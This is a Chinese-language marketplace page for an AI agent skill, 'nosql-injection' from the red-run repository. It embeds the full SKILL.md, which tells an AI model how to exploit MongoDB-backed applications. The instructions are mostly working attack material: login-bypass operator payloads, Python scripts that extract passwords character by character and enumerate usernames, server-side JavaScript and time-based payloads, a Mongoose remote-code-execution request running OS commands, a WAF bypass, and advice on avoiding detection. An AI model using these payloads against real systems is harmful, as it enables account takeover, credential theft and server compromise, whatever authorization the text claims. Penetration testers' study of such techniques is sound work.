Nosql Injection 标志

Nosql Injection

组织
blacklanternsecurity
nosql-injection

Guide NoSQL injection exploitation during authorized penetration testing.

概览

发布者blacklanternsecurity
代码仓库red-run
技能名称nosql-injection
星标数
276
复刻数
39
附带文件
仅含指令
许可协议GPL-3.0
链接
  • Markdown 格式的指令

    模型按需加载 SKILL.md 文件,因此只有在请求确实与该技能匹配时才会消耗 Token。

  • 兼容任何大语言模型

    AI 技能采用纯 Markdown,而非特定提供商的代码,因此可搭配 GPT、Claude、Gemini、Grok 或本地模型使用。

  • 指令自成一体

    模型所需的一切都包含在指令中,无需同步额外文件。

  • 开源

    由 blacklanternsecurity 发布于 GitHub。请在安装前查看技能的源文件。

安装

在 TypingMind 中安装 Nosql Injection AI 技能,即可搭配任意大语言模型使用;也可以将其放入其他支持读取 SKILL.md 的智能体中。

1

安装到 TypingMind

TypingMind 可直接从 GitHub 文件夹安装技能:读取 SKILL.md,打包资源文件,并将结果保存在本地。

  1. 打开应用,前往“插件 → 技能”。
  2. 选择“从 GitHub 安装”。
  3. 粘贴下方的技能文件夹 URL 并确认。
    https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/nosql-injection
  4. 请在每个需要使用该技能的聊天中启用它。
依次选择“插件 → 技能 → 添加技能 → 从 GitHub URL 导入”,然后粘贴文件夹 URL 并点击“继续”。
2

安装到其他智能体

任何支持 Agent Skills 格式的智能体都可以使用此技能,只需将文件夹复制到该智能体的技能目录中。

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/web/nosql-injection .claude/skills/nosql-injection
复制后,请重启 Claude Code,以加载新技能。

在 TypingMind 中使用此技能

在任意 TypingMind 聊天中启用 Nosql Injection,后续即可交由模型处理。技能的名称和描述会放在系统提示词中,一旦请求匹配,模型就会自动加载完整指令,无需您手动调用,且在实际使用前不会消耗 Token。

一旦请求与技能匹配,模型就会自动加载 Nosql Injection。

兼容任何 AI 模型

AI 技能是纯 Markdown 指令,而非特定提供商的代码,因此 Nosql Injection 不局限于最初适配的模型。只需在 TypingMind 中安装一次,即可搭配 GPT-5、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 或您自行运行的本地模型使用,全程使用您自己的 API 密钥。

  • 仅在需要时加载

    系统提示词中仅包含技能名称和描述。首次遇到匹配的请求时才会加载完整指令,因此技能未使用时,这些指令不会消耗 Token。

  • 在聊天中切换模型

    技能是指令而非代码,因此切换模型不会导致技能失效,新模型会读取同一个 SKILL.md。

技能指令

这是模型会加载的 SKILL.md 内容。请在安装前阅读,因为技能就是模型将遵循的指令。

NoSQL Injection

You are helping a penetration tester exploit NoSQL injection vulnerabilities. The target application passes user-controlled input to NoSQL database queries (typically MongoDB) without proper sanitization. The goal is to bypass authentication, extract data, or achieve code execution. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [nosql-injection] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • An input processed by a NoSQL database (URL param, form field, JSON body, GraphQL variable, API parameter)
  • Common indicators: MongoDB-style error messages (MongoError, $operator), JSON-based APIs, Node.js/Express backends, Mongoose ORM
  • Burp Suite with NoSQLi Scanner extension (optional)

Step 1: Assess

If not already provided, determine:

  1. Database — MongoDB (most common), CouchDB, or other
    • MongoDB: look for ObjectId, $operator in errors, Node.js stack
    • CouchDB: look for _rev, _id, Futon/Fauxton admin panels
  2. Injection format — URL-encoded parameters or JSON body
    • URL params with array notation: param[$ne]=value
    • JSON body: {"param": {"$ne": "value"}}
  3. Injection point — which parameter accepts operators
  4. Response behavior — different content for true/false conditions?

Quick Detection Probes

URL-encoded (test each parameter):

param[$ne]=test
param[$gt]=
param[$exists]=true

JSON body:

json
{"param": {"$ne": "test"}}
{"param": {"$gt": ""}}
{"param": {"$exists": true}}

If the response changes (login succeeds, different content, different status code), the parameter accepts MongoDB operators.

Step 2: Authentication Bypass

The most common NoSQL injection — bypass login forms by injecting operators that make the query match any document.

URL-Encoded Bypass

bash
# Match any username and password ($ne = not equal to garbage)
username[$ne]=toto&password[$ne]=toto

# Match all with regex
username[$regex]=.*&password[$regex]=.*

# Match any existing field
username[$exists]=true&password[$exists]=true

# Greater than empty string (matches everything)
username[$gt]=&password[$gt]=

# Target specific user with wildcard password
username=admin&password[$ne]=wrong

# Target admin with regex
username[$regex]=^admin&password[$ne]=wrong

JSON Body Bypass

json
{"username": {"$ne": null}, "password": {"$ne": null}}
json
{"username": {"$ne": ""}, "password": {"$ne": ""}}
json
{"username": {"$gt": ""}, "password": {"$gt": ""}}
json
{"username": "admin", "password": {"$ne": "wrong"}}
json
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}

$or Bypass

json
{"username": "admin", "$or": [{"password": {"$ne": ""}}, {"password": {"$regex": ".*"}}]}

$in Operator — Enumerate Known Users

json
{"username": {"$in": ["admin", "root", "administrator", "Admin"]}, "password": {"$gt": ""}}

$nin — Exclude Known Users to Find Others

bash
# Skip admin, find the next user
username[$nin][]=admin&password[$gt]=

Step 3: Blind Data Extraction

When operator injection works but data isn't directly reflected, extract values character by character using $regex.

Determine Field Length

bash
# Test password length (adjust the number)
username=admin&password[$regex]=.{1}    # true if len >= 1
username=admin&password[$regex]=.{5}    # true if len >= 5
username=admin&password[$regex]=.{10}   # true if len >= 10
username=admin&password[$regex]=.{8}    # narrow down with binary search

Extract Value Character by Character

bash
# Test first character
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^b.*
...
username=admin&password[$regex]=^m.*    # true — first char is 'm'

# Test second character
username=admin&password[$regex]=^ma.*
username=admin&password[$regex]=^mb.*
...
username=admin&password[$regex]=^md.*   # true — second char is 'd'

# Continue until full value extracted
username=admin&password[$regex]=^mdp$   # exact match confirms

Automated Blind Extraction — JSON POST

python
import requests
import string

url = "http://TARGET/login"
headers = {"Content-Type": "application/json"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + string.punctuation

while True:
    found = False
    for c in charset:
        if c in ['*', '+', '.', '?', '|', '\\', '^', '$', '{', '}', '(', ')']:
            c = '\\' + c  # escape regex metacharacters
        payload = '{"username": "%s", "password": {"$regex": "^%s"}}' % (
            username, password + c)
        r = requests.post(url, data=payload, headers=headers,
                          allow_redirects=False)
        if r.status_code == 302 or 'dashboard' in r.text:
            password += c
            print(f"[+] Found: {password}")
            found = True
            break
    if not found:
        print(f"[*] Extracted password: {password}")
        break

Automated Blind Extraction — URL-Encoded POST

python
import requests
import string

url = "http://TARGET/login"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + "_@{}-/()!$%=^[]:"

while True:
    found = False
    for c in charset:
        payload = f"user={username}&pass[$regex]=^{password + c}&login=submit"
        r = requests.post(url, data=payload, headers=headers,
                          allow_redirects=False)
        if r.status_code == 302:
            password += c
            print(f"[+] Found: {password}")
            found = True
            break
    if not found:
        print(f"[*] Extracted password: {password}")
        break

Enumerate Usernames

Discover unknown usernames by brute-forcing the username field:

python
import requests
import string

url = "http://TARGET/login"
charset = string.ascii_lowercase + string.digits + "_"

def extract_usernames(prefix=""):
    usernames = []
    for c in charset:
        payload = {"username": {"$regex": f"^{prefix + c}"},
                   "password": {"$regex": ".*"}}
        r = requests.post(url, json=payload, allow_redirects=False)
        if r.status_code == 302:
            for u in extract_usernames(prefix + c):
                usernames.append(u)
    if not usernames and prefix:
        usernames.append(prefix)
    return usernames

for user in extract_usernames():
    print(f"[+] Found username: {user}")

Step 4: Server-Side JavaScript ($where)

MongoDB's $where operator accepts JavaScript. If injection reaches a $where clause, it's equivalent to code execution within the database context.

$where Authentication Bypass

bash
# SQL-style equivalents for $where context
' || 1==1//
' || 1==1%00
admin' || 'a'=='a

$where Data Extraction via Error

If the application reflects database errors:

json
{"$where": "this.username=='admin' && this.password=='x'; throw new Error(JSON.stringify(this));"}

Leaks the entire document (including password) in the error message.

$where Field Probing

bash
# Check if password field exists
/?search=admin' && this.password%00

# Extract password character by character
/?search=admin' && this.password.match(/^a.*$/)%00
/?search=admin' && this.password.match(/^b.*$/)%00
...
/?search=admin' && this.password.match(/^mdp$/)%00

Time-Based Blind ($where)

When no response difference is visible:

';sleep(5000);'
';sleep(5000);+'
{"$where": "sleep(5000) || true"}

Loop-based delay (works when sleep() is disabled):

';it=new Date();do{pt=new Date();}while(pt-it<5000);'

If a 5-second delay is observed, $where execution is confirmed.

Mongoose RCE (CVE-2024-53900 / CVE-2025-23061)

Mongoose populate().match() forwards $where to Node.js instead of MongoDB, enabling OS command execution even when MongoDB's server-side JS is disabled:

bash
# RCE via populate match
GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')

# Bypass for Mongoose 8.8.3-8.9.4 (nest under $or)
GET /posts?author[$or][0][$where]=global.process.mainModule.require('child_process').execSync('id')

Affects Mongoose <= 8.9.4. Fixed in 8.9.5 with sanitizeFilter: true.

Step 5: Advanced Techniques

Cross-Collection Access ($lookup)

If the injection reaches an aggregate() pipeline (not find()/findOne()), use $lookup to query other collections:

json
[
  {
    "$lookup": {
      "from": "users",
      "as": "leaked",
      "pipeline": [
        {
          "$match": {
            "password": {"$regex": "^.*"}
          }
        }
      ]
    }
  }
]

Returns documents from the users collection regardless of which collection the query originally targeted.

MongoLite Function Execution ($func)

PHP applications using Cockpit CMS (MongoLite library) support $func:

json
{"user": {"$func": "var_dump"}}

Executes arbitrary PHP functions with the field value as argument.

GraphQL Filter Injection

GraphQL resolvers that forward filter arguments to collection.find():

graphql
query {
  users(filter: { username: { "$ne": "" } }) {
    username
    email
  }
}

As a GraphQL variable:

json
{"f": {"$ne": {}}}

If the resolver does collection.find(args.filter) without sanitization, all documents are returned.

WAF Bypass — Duplicate Key

MongoDB uses the last value for duplicate keys:

json
{"username": "legitimate", "username": {"$ne": ""}, "password": {"$gt": ""}}

WAF validates the first username (legitimate string), MongoDB uses the second (operator injection).

Step 6: Escalate or Pivot

STOP and return to the orchestrator with:

  • What was achieved (RCE, creds, file read, etc.)
  • New credentials, access, or pivot paths discovered
  • Context for next steps (platform, access method, working payloads)

OPSEC Notes

  • Operator injection ($ne, $regex) generates standard queries — low detection risk in application logs
  • $where payloads execute JavaScript server-side — may be logged by MongoDB profiler and trigger anomaly detection
  • Blind extraction generates many requests (one per character) — use rate limiting in scripts to avoid detection
  • sleep() in $where blocks the MongoDB thread — can cause performance issues on production systems
  • Mongoose RCE payloads execute OS commands — visible in process monitoring

Troubleshooting

Operators Not Accepted

  • Check Content-Type: JSON body needs application/json, URL-encoded needs application/x-www-form-urlencoded
  • The app may use express-mongo-sanitize or strip $ prefixes — try without $: param[ne]=value (some frameworks add it back)
  • Try nested objects: {"param": {"$ne": ""}} vs flat param[$ne]=
  • The backend may use an ORM that validates types — try $exists which only needs a boolean

Blind Extraction Fails

  • Regex metacharacters must be escaped: \(, \), \., \*, \+, \?
  • Some characters break URL encoding — use JSON body instead
  • If $regex is blocked, try $where with this.field.match()
  • Response may not differ on true/false — check status code, response size, Set-Cookie headers, and redirect location

$where Blocked

  • MongoDB 7.0+ disables server-side JavaScript by default (--noscripting)
  • Try operator-only attacks ($ne, $regex, $gt) which don't need JS
  • Check for Mongoose populate().match() path (CVE-2024-53900) which executes $where in Node.js, not MongoDB

Automated Tools

bash
# NoSQLMap — automated enumeration and exploitation
python nosqlmap.py -u "http://TARGET/login" --httpmethod POST \
  --requestdata "username=test&password=test" --injparam username

# nosqli — Go-based scanner
nosqli scan -t "http://TARGET/login" -p username,password

# Burp: Extensions → NoSQLi Scanner → right-click request → "Scan for NoSQLi"

常见问题

Nosql Injection AI 技能有什么作用?

Guide NoSQL injection exploitation during authorized penetration testing.

为什么在 TypingMind 中使用 Nosql Injection?

因为您只需安装一次,就能搭配任何模型使用。Nosql Injection 采用纯 Markdown 格式,而非特定提供商专用的代码,因此同一技能可用于 GPT-5、Claude、Gemini、Grok 或本地模型。您甚至可以在聊天中途切换模型,而不会影响技能的正常使用。TypingMind 使用您自己的 API 密钥,因此您直接向提供商付费,而不是按席位订阅;您的技能和聊天记录也都保留在您自己的存储空间中。

如何在 TypingMind 中安装 Nosql Injection?

在 TypingMind 中打开“插件 → 技能 → 从 GitHub 安装”,然后粘贴 https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/nosql-injection。TypingMind 会读取其中的 SKILL.md,并将其安装为技能,供您在各个聊天中按需启用。

哪些 AI 模型可以使用 Nosql Injection?

您在 TypingMind 中连接的任何模型都可以。AI 技能采用纯 Markdown 指令,而非特定提供商专用的代码,因此 GPT、Claude、Gemini、Grok 和本地模型都能在请求匹配时加载此技能。

Nosql Injection 可以搭配多少个 AI 模型使用?

数量不限。只要模型支持技能,您就可以将它与 Nosql Injection 搭配使用。GPT、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 等模型都可以通过您自己的 API 密钥接入 TypingMind。

Nosql Injection AI 技能免费吗?

是的。blacklanternsecurity 已在 GitHub 上根据 GPL-3.0 许可证发布了该技能。您只需向自己的 AI 提供商支付所用 Token 的费用。

什么是 AI 技能?

AI 技能是一组可复用的指令,用于教会 AI 模型完成某项特定任务。它遵循开放的 Agent Skills 格式:包含名称和描述的 SKILL.md 文件,以及模型可能需要的脚本、模板或参考文件。模型仅在您的请求与技能匹配时才会读取这些指令,因此已安装的技能在使用前不会产生任何费用。

AI 技能与插件或 MCP 服务器有何不同?

插件或 MCP 服务器为模型提供可调用的新工具,也就是在某处运行并返回结果的代码。AI 技能则为模型提供知识和流程:如何处理任务、遵循哪些步骤,以及怎样的输出才算优质。技能采用纯 Markdown 格式,因此不需要服务器、API 密钥或运行时环境,并且适用于任何模型。

查看全部

立即创建您自己的 AI 工作区

订阅我们的电子简报,获取新功能和后续赠奖活动的通知 👇